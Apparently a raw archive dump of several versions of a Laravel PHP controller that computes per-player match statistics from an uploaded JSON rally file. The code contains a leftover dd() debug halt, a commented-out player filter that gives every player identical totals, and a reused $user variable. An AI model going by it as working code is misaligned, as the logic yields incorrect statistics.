=> $user->id])->id; $players->push($player); } // Iterate through each player and calculate stats dd($request['player_id'], $players); foreach ($players as $player_id) { // dd($player_id); // Delete existing records for the player PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && !empty($request->index)) { // random players if(!empty($request->index)){ foreach ($request->index as $key => $index) { // dd($request->index); // Delete existing records for the player // PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); $indexNumber =$key + 1; PlayerState::create([ 'json_player_id' => $indexNumber, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } //players from database if(!empty($request['player_id'])){ $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $players->push($player); } // dd($players); // Iterate through each player and calculate stats foreach ($players as $player_id) { // Delete existing records for the player // PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } } $data = PlayerState::where('log_id', $log->id)->get(); return response()->json(['message' => 'Data processed successfully', 'data' => $data]); } return response()->json(['error' => 'File not uploaded'], 400); } } PK �6fZ��S·� �� History/-68b100b8/i5ke.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Models\Player; use App\Models\PlayerState; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; class PlayerStateJsonController extends Controller { public function jsonPlayerState(Request $request) { // dd(auth()->user()); $validator = Validator::make($request->all(), [ 'index' => 'nullable|array|max:4', 'index.*' => 'nullable|string', 'player_id' => 'nullable|array|max:4', 'player_id.*' => 'nullable|exists:users,id', // 'player_fname.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required // 'player_name' => 'required|array', // Ensures 'player_fname' is an array and is required // 'player_name.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required ]); // dd($request->file('json_file')); // Check if validation fails $originalFileName = $request->file('json_file')->getClientOriginalName(); // dd($originalFileName); if ($validator->fails()) { return response()->json(['errors' => $validator->errors()], 422); } // if(auth()->user()->getTable()=="users"){ // $log = Log::create([ // 'log'=>$originalFileName, // 'user_id' =>auth()->id(), // ]); // } // else{ // $log = Log::create([ // 'log'=>$originalFileName, // 'admin_id' =>auth()->id(), // ]); // } // log create $log = auth()->user()->logs()->create(['log' => $originalFileName]); // dd(auth()->user()->getTable()); if ($request->hasFile('json_file')) { // Read the JSON data from the uploaded file $jsonFile = $request->file('json_file'); $jsonData = file_get_contents($jsonFile->getRealPath()); $data = json_decode($jsonData, true); // $data = collect($data); // dd($data->keys()); // Dynamically extract all player IDs from the JSON data // $players = $this->getPlayerIdsFromJson($data); // $players = collect(); // foreach($request['player_id'] as $key => $player_id) // { // $user = User::find($player_id); // $player = Player::firstOrCreate(['fname'=>$user->fname,'user_id'=>$user->id])->id; // $players->push($player); // } // Iterate through each player and calculate stats if (!empty($request->index) && empty($request->player_id)) { // dd("index"); foreach ($request->index as $key => $index) { // dd($request->player_id); // Delete existing records for the player PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); PlayerState::create([ 'json_player_id' => $key + 1, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && empty($request->index)) { // dd("player_id"); $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $player_id = $player; // $players->push($player); // } // // Iterate through each player and calculate stats // foreach ($players as $player_id) { // dd($player_id); // Delete existing records for the player PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } else if(!empty($request->player_id) && !empty($request->index)) { // random players if(!empty($request->index)){ foreach ($request->index as $key => $index) { // dd($request->index); // Delete existing records for the player // PlayerState::where(['player_id' => $key, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player // dd($player_id); $indexNumber =$key + 1; PlayerState::create([ 'json_player_id' => $indexNumber, 'player_name' => $index, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } //players from database if(!empty($request['player_id'])){ $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $players->push($player); } // dd($players); // Iterate through each player and calculate stats foreach ($players as $player_id) { // Delete existing records for the player // PlayerState::where(['player_id' => $player_id, 'log_id' => $log->id])->delete(); // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { // dd($rally); foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } } $data = PlayerState::where('log_id', $log->id)->get(); return response()->json(['message' => 'Data processed successfully', 'data' => $data]); } return response()->json(['error' => 'File not uploaded'], 400); } } PK �6fZ��jq� q� History/-68b100b8/KpTz.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Models\Player; use App\Models\PlayerState; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; class PlayerStateJsonController extends Controller { public function jsonPlayerState(Request $request) { // dd(auth()->user()); $validator = Validator::make($request->all(), [ 'index' => 'nullable|array|max:4', 'index.*' => 'nullable|string', 'player_id' => 'nullable|array|max:4', 'player_id.*' => 'nullable|exists:users,id', // 'player_fname.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required // 'player_name' => 'required|array', // Ensures 'player_fname' is an array and is required // 'player_name.*' => 'required|string|max:255', // Each element in 'player_fname' array must be a string and required ]); // dd($request->file('json_file')); // Check if validation fails $originalFileName = $request->file('json_file')->getClientOriginalName(); // dd($originalFileName); if ($validator->fails()) { return response()->json(['errors' => $validator->errors()], 422); } // if(auth()->user()->getTable()=="users"){ // $log = Log::create([ // 'log'=>$originalFileName, // 'user_id' =>auth()->id(), // ]); // } // else{ // $log = Log::create([ // 'log'=>$originalFileName, // 'admin_id' =>auth()->id(), // ]); // } // log create $log = auth()->user()->logs()->create(['log' => $originalFileName]); // dd(auth()->user()->getTable()); if ($request->hasFile('json_file')) { // Read the JSON data from the uploaded file $jsonFile = 